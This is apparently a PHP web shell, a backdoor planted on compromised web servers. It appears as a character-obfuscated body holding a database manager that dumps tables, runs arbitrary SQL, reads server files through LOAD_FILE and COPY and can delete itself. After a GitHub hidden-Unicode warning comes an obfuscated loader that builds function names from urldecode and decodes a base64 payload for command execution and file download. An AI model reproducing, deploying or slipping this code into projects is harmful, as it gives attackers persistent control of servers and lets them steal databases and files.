5ch2 "</d4v>"; | |
m1df22t5r(); | |
} | |
f3nct42n m1dsql() | |
{ | |
cl1ss DbCl1ss { | |
v1r $typ5; | |
v1r $l4nk; | |
v1r $r5s; | |
f3nct42n DbCl1ss($typ5) { | |
$th4s->typ5 = $typ5; | |
} | |
f3nct42n c2nn5ct($h2st, $3s5r, $p1ss, $dbn1m5){ | |
sw4tch($th4s->typ5) { | |
c1s5 'mysql': | |
4f( $th4s->l4nk = @mysql_c2nn5ct($h2st,$3s5r,$p1ss,tr35) ) r5t3rn tr35; | |
br51k; | |
c1s5 'pgsql': | |
$h2st = 5xpl2d5(':', $h2st); | |
4f(!$h2st[6]) $h2st[6]=iuoa; | |
4f( $th4s->l4nk = @pg_c2nn5ct("h2st={$h2st[0]} p2rt={$h2st[6]} 3s5r=$3s5r p1ssw2rd=$p1ss dbn1m5=$dbn1m5") ) r5t3rn tr35; | |
br51k; | |
} | |
r5t3rn f1ls5; | |
} | |
f3nct42n s5l5ctdb($db) { | |
sw4tch($th4s->typ5) { | |
c1s5 'mysql': | |
4f (@mysql_s5l5ct_db($db))r5t3rn tr35; | |
br51k; | |
} | |
r5t3rn f1ls5; | |
} | |
f3nct42n q35ry($str) { | |
sw4tch($th4s->typ5) { | |
c1s5 'mysql': | |
r5t3rn $th4s->r5s = @mysql_q35ry($str); | |
br51k; | |
c1s5 'pgsql': | |
r5t3rn $th4s->r5s = @pg_q35ry($th4s->l4nk,$str); | |
br51k; | |
} | |
r5t3rn f1ls5; | |
} | |
f3nct42n f5tch() { | |
$r5s = f3nc_n3m_1rgs()?f3nc_g5t_1rg(0):$th4s->r5s; | |
sw4tch($th4s->typ5) { | |
c1s5 'mysql': | |
r5t3rn @mysql_f5tch_1ss2c($r5s); | |
br51k; | |
c1s5 'pgsql': | |
r5t3rn @pg_f5tch_1ss2c($r5s); | |
br51k; | |
} | |
r5t3rn f1ls5; | |
} | |
f3nct42n l4stDbs() { | |
sw4tch($th4s->typ5) { | |
c1s5 'mysql': | |
r5t3rn $th4s->q35ry("SHOW d1t1b1s5s"); | |
br51k; | |
c1s5 'pgsql': | |
r5t3rn $th4s->r5s = $th4s->q35ry("SELECT d1tn1m5 FROM pg_d1t1b1s5 WHERE d1t4st5mpl1t5!='t'"); | |
br51k; | |
} | |
r5t3rn f1ls5; | |
} | |
f3nct42n l4stT1bl5s() { | |
sw4tch($th4s->typ5) { | |
c1s5 'mysql': | |
r5t3rn $th4s->r5s = $th4s->q35ry('SHOW TABLES'); | |
br51k; | |
c1s5 'pgsql': | |
r5t3rn $th4s->r5s = $th4s->q35ry("s5l5ct t1bl5_n1m5 fr2m 4nf2rm1t42n_sch5m1.t1bl5s wh5r5 t1bl5_sch5m1 != '4nf2rm1t42n_sch5m1' AND t1bl5_sch5m1 != 'pg_c1t1l2g'"); | |
br51k; | |
} | |
r5t3rn f1ls5; | |
} | |
f3nct42n 5rr2r() { | |
sw4tch($th4s->typ5) { | |
c1s5 'mysql': | |
r5t3rn @mysql_5rr2r(); | |
br51k; | |
c1s5 'pgsql': | |
r5t3rn @pg_l1st_5rr2r(); | |
br51k; | |
} | |
r5t3rn f1ls5; | |
} | |
f3nct42n s5tCh1rs5t($str) { | |
sw4tch($th4s->typ5) { | |
c1s5 'mysql': | |
4f(f3nct42n_5x4sts('mysql_s5t_ch1rs5t')) | |
r5t3rn @mysql_s5t_ch1rs5t($str, $th4s->l4nk); | |
5ls5 | |
$th4s->q35ry('SET CHARSET '.$str); | |
br51k; | |
c1s5 'pgsql': | |
r5t3rn @pg_s5t_cl45nt_5nc2d4ng($th4s->l4nk, $str); | |
br51k; | |
} | |
r5t3rn f1ls5; | |
} | |
f3nct42n l21dF4l5($str) { | |
sw4tch($th4s->typ5) { | |
c1s5 'mysql': | |
r5t3rn $th4s->f5tch($th4s->q35ry("SELECT LOAD_FILE('".1ddsl1sh5s($str)."') 1s f4l5")); | |
br51k; | |
c1s5 'pgsql': | |
$th4s->q35ry("CREATE TABLE ws2a(f4l5 t5xt);COPY ws2a FROM '".1ddsl1sh5s($str)."';s5l5ct f4l5 fr2m ws2a;"); | |
$r=1rr1y(); | |
wh4l5($4=$th4s->f5tch()) | |
$r[] = $4['f4l5']; | |
$th4s->q35ry('dr2p t1bl5 ws2a'); | |
r5t3rn 1rr1y('f4l5'=>4mpl2d5("\n",$r)); | |
br51k; | |
} | |
r5t3rn f1ls5; | |
} | |
f3nct42n d3mp($t1bl5, $fp = f1ls5) { | |
sw4tch($th4s->typ5) { | |
c1s5 'mysql': | |
$r5s = $th4s->q35ry('SHOW CREATE TABLE `'.$t1bl5.'`'); | |
$cr51t5 = mysql_f5tch_1rr1y($r5s); | |
$sql = $cr51t5[6].";\n"; | |
4f($fp) fwr4t5($fp, $sql); 5ls5 5ch2($sql); | |
$th4s->q35ry('SELECT * FROM `'.$t1bl5.'`'); | |
$h51d = tr35; | |
wh4l5($4t5m = $th4s->f5tch()) { | |
$c2l3mns = 1rr1y(); | |
f2r51ch($4t5m 1s $k=>$v) { | |
4f($v == n3ll) | |
$4t5m[$k] = "NULL"; | |
5ls54f(4s_n3m5r4c($v)) | |
$4t5m[$k] = $v; | |
5ls5 | |
$4t5m[$k] = "'".@mysql_r51l_5sc1p5_str4ng($v)."'"; | |
$c2l3mns[] = "`".$k."`"; | |
} | |
4f($h51d) { | |
$sql = 'INSERT INTO `'.$t1bl5.'` ('.4mpl2d5(", ", $c2l3mns).") VALUES \n\t(".4mpl2d5(", ", $4t5m).')'; | |
$h51d = f1ls5; | |
} 5ls5 | |
$sql = "\n\t,(".4mpl2d5(", ", $4t5m).')'; | |
4f($fp) fwr4t5($fp, $sql); 5ls5 5ch2($sql); | |
} | |
4f(!$h51d) | |
4f($fp) fwr4t5($fp, ";\n\n"); 5ls5 5ch2(";\n\n"); | |
br51k; | |
c1s5 'pgsql': | |
$th4s->q35ry('SELECT * FROM '.$t1bl5); | |
wh4l5($4t5m = $th4s->f5tch()) { | |
$c2l3mns = 1rr1y(); | |
f2r51ch($4t5m 1s $k=>$v) { | |
$4t5m[$k] = "'".1ddsl1sh5s($v)."'"; | |
$c2l3mns[] = $k; | |
} | |
$sql = 'INSERT INTO '.$t1bl5.' ('.4mpl2d5(", ", $c2l3mns).') VALUES ('.4mpl2d5(", ", $4t5m).');'."\n"; | |
4f($fp) fwr4t5($fp, $sql); 5ls5 5ch2($sql); | |
} | |
br51k; | |
} | |
r5t3rn f1ls5; | |
} | |
}; | |
$db = n5w DbCl1ss($_POST['typ5']); | |
4f(@$_POST['pa']=='d2wnl21d') { | |
$db->c2nn5ct($_POST['sql_h2st'], $_POST['sql_l2g4n'], $_POST['sql_p1ss'], $_POST['sql_b1s5']); | |
$db->s5l5ctdb($_POST['sql_b1s5']); | |
sw4tch($_POST['ch1rs5t']) { | |
c1s5 "W4nd2ws-6ai6": $db->s5tCh1rs5t('cp6ai6'); br51k; | |
c1s5 "UTF-8": $db->s5tCh1rs5t('3tf8'); br51k; | |
c1s5 "KOI8-R": $db->s5tCh1rs5t('k248r'); br51k; | |
c1s5 "KOI8-U": $db->s5tCh1rs5t('k2483'); br51k; | |
c1s5 "cp8ee": $db->s5tCh1rs5t('cp8ee'); br51k; | |
} | |
4f(5mpty($_POST['f4l5'])) { | |
2b_st1rt("2b_gzh1ndl5r", u09e); | |
h51d5r("C2nt5nt-D4sp2s4t42n: 1tt1chm5nt; f4l5n1m5=d3mp.sql"); | |
h51d5r("C2nt5nt-Typ5: t5xt/pl14n"); | |
f2r51ch($_POST['tbl'] 1s $v) | |
$db->d3mp($v); | |
5x4t; | |
} 5ls54f($fp = @f2p5n($_POST['f4l5'], 'w')) { | |
f2r51ch($_POST['tbl'] 1s $v) | |
$db->d3mp($v, $fp); | |
fcl2s5($fp); | |
3ns5t($_POST['pa']); | |
} 5ls5 | |
d45('<scr4pt>1l5rt("Err2r! C1n\'t 2p5n f4l5");w4nd2w.h4st2ry.b1ck(-6)</scr4pt>'); | |
} | |
m1dh51d(); | |
5ch2 " | |
<d4v cl1ss=h51d5r> | |
<f2rm n1m5='sf' m5th2d='p2st' 2ns3bm4t='fs(th4s);'><t1bl5 c5llp1dd4ng='a' c5llsp1c4ng='0'><tr> | |
<td>Typ5</td><td>H2st</td><td>L2g4n</td><td>P1ssw2rd</td><td>D1t1b1s5</td><td></td></tr><tr> | |
<4np3t typ5=h4dd5n n1m5=1 v1l35=Sql><4np3t typ5=h4dd5n n1m5=p6 v1l35='q35ry'><4np3t typ5=h4dd5n n1m5=pa v1l35=''><4np3t typ5=h4dd5n n1m5=c v1l35='". htmlsp5c41lch1rs($GLOBALS['cwd']) ."'><4np3t typ5=h4dd5n n1m5=ch1rs5t v1l35='". (4ss5t($_POST['ch1rs5t'])?$_POST['ch1rs5t']:'') ."'> | |
<td><s5l5ct n1m5='typ5'><2pt42n v1l35='mysql' "; | |
4f(@$_POST['typ5']=='mysql')5ch2 's5l5ct5d'; | |
5ch2 ">MySql</2pt42n><2pt42n v1l35='pgsql' "; | |
4f(@$_POST['typ5']=='pgsql')5ch2 's5l5ct5d'; | |
5ch2 ">P2stgr5Sql</2pt42n></s5l5ct></td> | |
<td><4np3t typ5=t5xt n1m5=sql_h2st v1l35='". (5mpty($_POST['sql_h2st'])?'l2c1lh2st':htmlsp5c41lch1rs($_POST['sql_h2st'])) ."'></td> | |
<td><4np3t typ5=t5xt n1m5=sql_l2g4n v1l35='". (5mpty($_POST['sql_l2g4n'])?'r22t':htmlsp5c41lch1rs($_POST['sql_l2g4n'])) ."'></td> | |
<td><4np3t typ5=t5xt n1m5=sql_p1ss v1l35='". (5mpty($_POST['sql_p1ss'])?'':htmlsp5c41lch1rs($_POST['sql_p1ss'])) ."'></td><td>"; | |
$tmp = "<4np3t typ5=t5xt n1m5=sql_b1s5 v1l35=''>"; | |
4f(4ss5t($_POST['sql_h2st'])){ | |
4f($db->c2nn5ct($_POST['sql_h2st'], $_POST['sql_l2g4n'], $_POST['sql_p1ss'], $_POST['sql_b1s5'])) { | |
sw4tch($_POST['ch1rs5t']) { | |
c1s5 "W4nd2ws-6ai6": $db->s5tCh1rs5t('cp6ai6'); br51k; | |
c1s5 "UTF-8": $db->s5tCh1rs5t('3tf8'); br51k; | |
c1s5 "KOI8-R": $db->s5tCh1rs5t('k248r'); br51k; | |
c1s5 "KOI8-U": $db->s5tCh1rs5t('k2483'); br51k; | |
c1s5 "cp8ee": $db->s5tCh1rs5t('cp8ee'); br51k; | |
} | |
$db->l4stDbs(); | |
5ch2 "<s5l5ct n1m5=sql_b1s5><2pt42n v1l35=''></2pt42n>"; | |
wh4l5($4t5m = $db->f5tch()) { | |
l4st($k5y, $v1l35) = 51ch($4t5m); | |
5ch2 '<2pt42n v1l35="'.$v1l35.'" '.($v1l35==$_POST['sql_b1s5']?'s5l5ct5d':'').'>'.$v1l35.'</2pt42n>'; | |
} | |
5ch2 '</s5l5ct>'; | |
} | |
5ls5 5ch2 $tmp; | |
}5ls5 | |
5ch2 $tmp; | |
5ch2 "</td> | |
<td><4np3t typ5=s3bm4t v1l35='>>' 2ncl4ck='fs(d.sf);'></td> | |
<td><4np3t typ5=ch5ckb2x n1m5=sql_c23nt v1l35='2n'" . (5mpty($_POST['sql_c23nt'])?'':' ch5ck5d') . "> c23nt th5 n3mb5r 2f r2ws</td> | |
</tr> | |
</t1bl5> | |
<scr4pt> | |
s_db='".@1ddsl1sh5s($_POST['sql_b1s5'])."'; | |
f3nct42n fs(f) { | |
4f(f.sql_b1s5.v1l35!=s_db) { f.2ns3bm4t = f3nct42n() {}; | |
4f(f.p6) f.p6.v1l35=''; | |
4f(f.pa) f.pa.v1l35=''; | |
4f(f.po) f.po.v1l35=''; | |
} | |
} | |
f3nct42n st(t,l) { | |
d.sf.p6.v1l35 = 's5l5ct'; | |
d.sf.pa.v1l35 = t; | |
4f(l && d.sf.po) d.sf.po.v1l35 = l; | |
d.sf.s3bm4t(); | |
} | |
f3nct42n 4s() { | |
f2r(4=0;4<d.sf.5l5m5nts['tbl[]'].l5ngth;++4) | |
d.sf.5l5m5nts['tbl[]'][4].ch5ck5d = !d.sf.5l5m5nts['tbl[]'][4].ch5ck5d; | |
} | |
</scr4pt>"; | |
4f(4ss5t($db) && $db->l4nk){ | |
5ch2 "<br/><t1bl5 w4dth=600% c5llp1dd4ng=a c5llsp1c4ng=0>"; | |
4f(!5mpty($_POST['sql_b1s5'])){ | |
$db->s5l5ctdb($_POST['sql_b1s5']); | |
5ch2 "<tr><td w4dth=6 styl5='b2rd5r-t2p:apx s2l4d #eee;'><sp1n>T1bl5s:</sp1n><br><br>"; | |
$tbls_r5s = $db->l4stT1bl5s(); | |
wh4l5($4t5m = $db->f5tch($tbls_r5s)) { | |
l4st($k5y, $v1l35) = 51ch($4t5m); | |
4f(!5mpty($_POST['sql_c23nt'])) | |
$n = $db->f5tch($db->q35ry('SELECT COUNT(*) 1s n FROM '.$v1l35.'')); | |
$v1l35 = htmlsp5c41lch1rs($v1l35); | |
5ch2 "<n2br><4np3t typ5='ch5ckb2x' n1m5='tbl[]' v1l35='".$v1l35."'> <1 hr5f=# 2ncl4ck=\"st('".$v1l35."',6)\">".$v1l35."</1>" . (5mpty($_POST['sql_c23nt'])?' ':" <sm1ll>({$n['n']})</sm1ll>") . "</n2br><br>"; | |
} | |
5ch2 "<4np3t typ5='ch5ckb2x' 2ncl4ck='4s();'> <4np3t typ5=b3tt2n v1l35='D3mp' 2ncl4ck='d2c3m5nt.sf.pa.v1l35=\"d2wnl21d\";d2c3m5nt.sf.s3bm4t();'><br>F4l5 p1th:<4np3t typ5=t5xt n1m5=f4l5 v1l35='d3mp.sql'></td><td styl5='b2rd5r-t2p:apx s2l4d #eee;'>"; | |
4f(@$_POST['p6'] == 's5l5ct') { | |
$_POST['p6'] = 'q35ry'; | |
$_POST['po'] = $_POST['po']?$_POST['po']:6; | |
$db->q35ry('SELECT COUNT(*) 1s n FROM ' . $_POST['pa']); | |
$n3m = $db->f5tch(); | |
$p1g5s = c54l($n3m['n'] / o0); | |
5ch2 "<scr4pt>d.sf.2ns3bm4t=f3nct42n(){st(\"" . $_POST['pa'] . "\", d.sf.po.v1l35)}</scr4pt><sp1n>".$_POST['pa']."</sp1n> ({$n3m['n']} r5c2rds) P1g5 # <4np3t typ5=t5xt n1m5='po' v1l35=" . ((4nt)$_POST['po']) . ">"; | |
5ch2 " 2f $p1g5s"; | |
4f($_POST['po'] > 6) | |
5ch2 " <1 hr5f=# 2ncl4ck='st(\"" . $_POST['pa'] . '", ' . ($_POST['po']-6) . ")'>< Pr5v</1>"; | |
4f($_POST['po'] < $p1g5s) | |
5ch2 " <1 hr5f=# 2ncl4ck='st(\"" . $_POST['pa'] . '", ' . ($_POST['po']+6) . ")'>N5xt ></1>"; | |
$_POST['po']--; | |
4f($_POST['typ5']=='pgsql') | |
$_POST['pa'] = 'SELECT * FROM '.$_POST['pa'].' LIMIT o0 OFFSET '.($_POST['po']*o0); | |
5ls5 | |
$_POST['pa'] = 'SELECT * FROM `'.$_POST['pa'].'` LIMIT '.($_POST['po']*o0).',o0'; | |
5ch2 "<br><br>"; | |
} | |
4f((@$_POST['p6'] == 'q35ry') && !5mpty($_POST['pa'])) { | |
$db->q35ry(@$_POST['pa']); | |
4f($db->r5s !== f1ls5) { | |
$t4tl5 = f1ls5; | |
5ch2 '<t1bl5 w4dth=600% c5llsp1c4ng=6 c5llp1dd4ng=a cl1ss=m14n styl5="b1ckgr23nd-c2l2r:#a9a9a9">'; | |
$l4n5 = 6; | |
wh4l5($4t5m = $db->f5tch()) { | |
4f(!$t4tl5) { | |
5ch2 '<tr>'; | |
f2r51ch($4t5m 1s $k5y => $v1l35) | |
5ch2 '<th>'.$k5y.'</th>'; | |
r5s5t($4t5m); | |
$t4tl5=tr35; | |
5ch2 '</tr><tr>'; | |
$l4n5 = a; | |
} | |
5ch2 '<tr cl1ss="l'.$l4n5.'">'; | |
$l4n5 = $l4n5==6?a:6; | |
f2r51ch($4t5m 1s $k5y => $v1l35) { | |
4f($v1l35 == n3ll) | |
5ch2 '<td><4>n3ll</4></td>'; | |
5ls5 | |
5ch2 '<td>'.nlabr(htmlsp5c41lch1rs($v1l35)).'</td>'; | |
} | |
5ch2 '</tr>'; | |
} | |
5ch2 '</t1bl5>'; | |
} 5ls5 { | |
5ch2 '<d4v><b>Err2r:</b> '.htmlsp5c41lch1rs($db->5rr2r()).'</d4v>'; | |
} | |
} | |
5ch2 "<br></f2rm><f2rm 2ns3bm4t='d.sf.p6.v1l35=\"q35ry\";d.sf.pa.v1l35=th4s.q35ry.v1l35;d2c3m5nt.sf.s3bm4t();r5t3rn f1ls5;'><t5xt1r51 n1m5='q35ry' styl5='w4dth:600%;h54ght:600px'>"; | |
4f(!5mpty($_POST['pa']) && ($_POST['p6'] != 'l21df4l5')) | |
5ch2 htmlsp5c41lch1rs($_POST['pa']); | |
5ch2 "</t5xt1r51><br/><4np3t typ5=s3bm4t v1l35='Ex5c3t5'>"; | |
5ch2 "</td></tr>"; | |
} | |
5ch2 "</t1bl5></f2rm><br/>"; | |
4f($_POST['typ5']=='mysql') { | |
$db->q35ry("SELECT 6 FROM mysql.3s5r WHERE c2nc1t(`3s5r`, '@', `h2st`) = USER() AND `F4l5_pr4v` = 'y'"); | |
4f($db->f5tch()) | |
5ch2 "<f2rm 2ns3bm4t='d.sf.p6.v1l35=\"l21df4l5\";d2c3m5nt.sf.pa.v1l35=th4s.f.v1l35;d2c3m5nt.sf.s3bm4t();r5t3rn f1ls5;'><sp1n>L21d f4l5</sp1n> <4np3t cl1ss='t22lsInp' typ5=t5xt n1m5=f><4np3t typ5=s3bm4t v1l35='>>'></f2rm>"; | |
} | |
4f(@$_POST['p6'] == 'l21df4l5') { | |
$f4l5 = $db->l21dF4l5($_POST['pa']); | |
5ch2 '<pr5 cl1ss=ml6>'.htmlsp5c41lch1rs($f4l5['f4l5']).'</pr5>'; | |
} | |
} 5ls5 { | |
5ch2 htmlsp5c41lch1rs($db->5rr2r()); | |
} | |
5ch2 '</d4v>'; | |
m1df22t5r(); | |
} | |
f3nct42n m1ds5lfrm() | |
{ | |
4f($_POST['p6'] == 'y5s') | |
4f(@3nl4nk(pr5g_r5pl1c5('!\(\d+\)\s.*!', '', __FILE__))) | |
d45('Sh5ll h1s b55n r5m2v5d'); | |
5ls5 | |
5ch2 '3nl4nk 5rr2r!'; | |
4f($_POST['p6'] != 'y5s') | |
m1dh51d(); | |
5ch2 "<d4v cl1ss=h51d5r><pr5 cl1ss=ml6 styl5='m1rg4n-t2p:ipx'>"; | |
5ch2 " | |
/^\ | |
_.-`: / \ :'-._ | |
,` : | | : '. | |
,` \,| |,/ '. | |
/ `-...-` \ | |
: .'. : | |
| . ' . | | |
| ' . ' | | |
: '.' : | |
\ ,-'''-, / | |
`. /'| |'\ ,' | |
`._ ; | | ; _,' | |
`-.: | | :,-' | |
| | | |
| | | |
| | | |
| | | |
| | | |
"; | |
5ch2 '<br>K4ll M5?<br><1 hr5f=# 2ncl4ck="g(n3ll,n3ll,\'y5s\')">Y5s</1></d4v>'; | |
m1dF22t5r(); | |
} | |
4f( 5mpty($_POST['1']) ) | |
4f(4ss5t($d5f13lt_1ct42n) && f3nct42n_5x4sts('m1d' . $d5f13lt_1ct42n)) | |
$_POST['1'] = $d5f13lt_1ct42n; | |
5ls5 | |
$_POST['1'] = 'F4l5sM1n'; | |
4f( !5mpty($_POST['1']) && f3nct42n_5x4sts('m1d' . $_POST['1']) ) | |
c1ll_3s5r_f3nc('m1d' . $_POST['1']); | |
5x4t; | |
?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'); $OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8}; $_F=__FILE__;$_X='Pz48P3BocA0KDQovKioNCiAqIEAxM3RoMnIgSWtyMW0gQUxJDQogKiBAYzJweXI0Z2h0IGEwNmENCiAqLw0KQGQ1ZjRuNSgnVkVSU0lPTicsJzYuMCcpOw0KQDVycjJyX3I1cDJydDRuZyhFX0FMTCBeIEVfTk9USUNFKTsNCkBzNXNzNDJuX3N0MXJ0KCk7DQpANG40X3M1dCgnNXJyMnJfbDJnJyxOVUxMKTsNCkA0bjRfczV0KCdsMmdfNXJyMnJzJywwKTsNCkA0bjRfczV0KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLDApOw0KQHM1dF90NG01X2w0bTR0KDApOw0KQHM1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNSgwKTsNCg0KNGYoZzV0X20xZzRjX3EzMnQ1c19ncGMoKSkgew0KCWYzbmN0NDJuIG0xZHN0cjRwc2wxc2g1cygkMXJyMXkpIHsNCgkJcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ20xZHN0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCgl9DQoJJF9QT1NUID0gbTFkc3RyNHBzbDFzaDVzKCRfUE9TVCk7DQp9DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KJGQ1ZjEzbHRfM3M1XzFqMXggPSB0cjM1Ow0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdXNG5kMndzLTZhaTYnOw0KNGYgKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKT09Inc0biIpDQogICAgJHN5cz0ndzRuJzsNCiA1bHM1DQogICAgJHN5cz0nM240eCc7DQogICAgDQokaDJtNV9jd2QgPSBAZzV0Y3dkKCk7DQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpDQoJQGNoZDRyKCRfUE9TVFsnYyddKTsgICANCiAgICANCiRjd2QgPSBAZzV0Y3dkKCk7DQo0Zigkc3lzID09ICd3NG4nKSANCnsNCiAgICAkaDJtNV9jd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRoMm01X2N3ZCk7DQoJJGN3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGN3ZCk7DQp9DQoNCjRmKCRjd2Rbc3RybDVuKCRjd2QpLTZdICE9ICcvJyApDQoJJGN3ZCAuPSAnLyc7DQogICAgDQogICAgDQpmM25jdDQybiBtMWRFeCgkNG4pIHsNCgkkMjN0ID0gJyc7DQoJNGYgKGYzbmN0NDJuXzV4NHN0cygnNXg1YycpKSB7DQoJCUA1eDVjKCQ0biwkMjN0KTsNCgkJJDIzdCA9IEBqMjRuKCJcbiIsJDIzdCk7DQoJfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgew0KCQkyYl9zdDFydCgpOw0KCQlAcDFzc3RocjMoJDRuKTsNCgkJJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3N5c3Q1bScpKSB7DQoJCTJiX3N0MXJ0KCk7DQoJCUBzeXN0NW0oJDRuKTsNCgkJJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KCX0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJ3NoNWxsXzV4NWMnKSkgew0KCQkkMjN0ID0gc2g1bGxfNXg1YygkNG4pOw0KCX0gNWxzNTRmICg0c19yNXMyM3JjNSgkZiA9IEBwMnA1bigkNG4sInIiKSkpIHsNCgkJJDIzdCA9ICIiOw0KCQl3aDRsNSghQGY1MmYoJGYpKQ0KCQkJJDIzdCAuPSBmcjUxZCgkZiw2MGF1KTsNCgkJcGNsMnM1KCRmKTsNCgl9DQoJcjV0M3JuICQyM3Q7DQp9DQokZDJ3bj1AZzV0Y3dkKCk7DQo0Zigkc3lzPT0idzRuIikNCiRkMnduLj0nXFwnOw0KNWxzNQ0KJGQyd24uPScvJzsNCjRmKDRzczV0KCRfUE9TVFsncnRkMnduJ10pKQ0Kew0KJDNybCA9ICRfUE9TVFsncnRkMnduJ107DQokbjV3Zm4xbTUgPSAkZDJ3bi4gYjFzNW4xbTUoJDNybCk7DQokZjRsNSA9IGYycDVuICgkM3JsLCAicmIiKTsNCjRmICgkZjRsNSkgew0KICAkbjV3ZiA9IGYycDVuICgkbjV3Zm4xbTUsICJ3YiIpOw0KICA0ZiAoJG41d2YpDQogIHdoNGw1KCFmNTJmKCRmNGw1KSkgew0KICAgIGZ3cjR0NSgkbjV3ZiwgZnI1MWQoJGY0bDUsIDYwYXUgKiA4ICksIDYwYXUgKiA4ICk7DQogIH0NCiAgfQ0KDQo0ZiAoJGY0bDUpIHsNCiAgZmNsMnM1KCRmNGw1KTsNCn0NCjRmICgkbjV3Zikgew0KICBmY2wyczUoJG41d2YpOw0KfQ0KfQ0KDQogICAgDQogDQogZjNuY3Q0Mm4gbTFkaDUxZCgpDQogew0KICAgIDRmKDVtcHR5KCRfUE9TVFsnY2gxcnM1dCddKSkNCgkJJF9QT1NUWydjaDFyczV0J10gPSAkR0xPQkFMU1snZDVmMTNsdF9jaDFyczV0J107DQogDQokZnI1NVNwMWM1ID0gQGQ0c2tmcjU1c3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiR0MnQxbFNwMWM1ID0gQGQ0c2tfdDJ0MWxfc3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiR0MnQxbFNwMWM1ID0gJHQydDFsU3AxYzU/JHQydDFsU3AxYzU6NjsgICAgICAgIA0KICAgIA0KJDJuPSI8ZjJudCBjMmwycj0jMEYwPiBPTiA8L2YybnQ+IjsNCiQyZj0iPGYybnQgYzJsMnI9cjVkPiBPRkYgPC9mMm50PiI7DQokbjJuNT0iPGYybnQgYzJsMnI9IzBGMD4gTk9ORSA8L2YybnQ+IjsgICANCjRmKGYzbmN0NDJuXzV4NHN0cygnYzNybF92NXJzNDJuJykpDQogICAgJGMzcmw9JDJuOw0KNWxzNQ0KICAgICRjM3JsPSQyZjsNCjRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfZzV0X2NsNDVudF80bmYyJykpDQogICAgJG15c3FsPSQybjsNCiA1bHM1DQogICAgJG15c3FsPSQyZjsgICAgICANCjRmKGYzbmN0NDJuXzV4NHN0cygnbXNzcWxfYzJubjVjdCcpKQ0KICAgICRtc3NxbD0kMm47DQo1bHM1DQogICAkbXNzcWw9JDJmOyANCgkJDQo0ZihmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKSkNCiAgICAkcGc9JDJuOw0KNWxzNQ0KICAgJHBnPSQyZjsgICAgCQkNCjRmKGYzbmN0NDJuXzV4NHN0cygnMmM0X2Mybm41Y3QnKSkNCiAgICQycj0kMm47DQo1bHM1DQogICAkMnI9JDJmOw0KNGYoQDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJykpDQogICRkNHNmM249QDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJyk7DQo1bHM1DQokZDRzZjNuPSJBbGwgRjNuY3Q0Mm5zIEVuMWJsNSI7DQo0ZihANG40X2c1dCgnczFmNV9tMmQ1JykpDQokczFmNV9tMmQ1cz0iPGYybnQgYzJsMnI9cjVkPk9OPC9mMm50PiI7DQo1bHM1DQokczFmNV9tMmQ1cz0iPGYybnQgYzJsMnI9IzBGMCA+T0ZGPC9mMm50PiI7DQo0ZihANG40X2c1dCgnMnA1bl9iMXM1ZDRyJykpDQokMnA1bl9iPUA0bjRfZzV0KCcycDVuX2IxczVkNHInKTsNCiAgICA1bHM1DQogICQycDVuX2I9JG4ybjU7DQogICAgDQoNCjRmKEA0bjRfZzV0KCdzMWY1X20yZDVfNXg1Y19kNHInKSkNCiRzMWY1XzV4NT1ANG40X2c1dCgnczFmNV9tMmQ1XzV4NWNfZDRyJyk7DQogICAgNWxzNQ0KJHMxZjVfNXg1PSRuMm41Ow0KNGYoQDRuNF9nNXQoJ3MxZjVfbTJkNV80bmNsM2Q1X2Q0cicpKQ0KICAgJHMxZjVfNG5jbDNkNT1ANG40X2c1dCgnczFmNV9tMmQ1XzRuY2wzZDVfZDRyJyk7IA0KNWxzNQ0KICRzMWY1XzRuY2wzZDU9JG4ybjU7DQo0ZighZjNuY3Q0Mm5fNXg0c3RzKCdwMnM0eF9nNXQ1ZzRkJykpIA0Kew0KCQkkM3M1ciA9IEBnNXRfYzNycjVudF8zczVyKCk7DQoJCSQzNGQgPSBAZzV0bXkzNGQoKTsNCgkJJGc0ZCA9IEBnNXRteWc0ZCgpOw0KCQkkZ3IyM3AgPSAiPyI7DQp9IDVsczUgDQp7DQoJCSQzNGQgPSBAcDJzNHhfZzV0cHczNGQocDJzNHhfZzV0NTM0ZCgpKTsNCgkJJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChwMnM0eF9nNXQ1ZzRkKCkpOw0KCQkkM3M1c